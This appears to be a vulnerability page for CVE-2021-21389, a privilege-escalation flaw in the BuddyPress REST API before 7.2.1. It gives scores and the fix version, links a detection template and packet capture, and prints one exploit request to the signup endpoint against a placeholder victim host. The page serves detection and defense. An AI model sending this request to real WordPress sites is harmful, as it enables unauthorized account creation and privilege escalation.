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CVE-2021-21389: BuddyPress REST API <7.2.1 - Privilege Escalation/Remote Code Execution

TitleBuddyPress REST API <7.2.1 - Privilege Escalation/Remote Code Execution
Authorlotusdll
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to gain unauthorized access to sensitive information, escalate privileges, or execute arbitrary code on the affected system.
RemediationThis issue has been remediated in WordPress BuddyPress 7.2.1.
CVSS Score8.8
EPSS Score0.93307
CVE IDCVE-2021-21389
CWE IDCWE-863
Tags cve2021 cve wordpress wp-plugin rce wp buddypress vkev vuln

🔍 Vulnerability Description

WordPress BuddyPress before version 7.2.1 is susceptible to a privilege escalation vulnerability that can be leveraged to perform remote code execution.

🌐 HTTP Request

POST /wp-json/buddypress/v1/signup HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15
Connection: close
Content-Length: 200
Content-Type: application/json; charset=UTF-8
Accept-Encoding: gzip

{

  "user_login":"38FFEsJu0dcpENldpuAWvPcWbO7",

  "password":"38FFEsJu0dcpENldpuAWvPcWbO7",

  "user_name":"38FFEsJu0dcpENldpuAWvPcWbO7",

  "user_email":"38FFEsJu0dcpENldpuAWvPcWbO7@interact.sh"

}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21389.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-21389.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A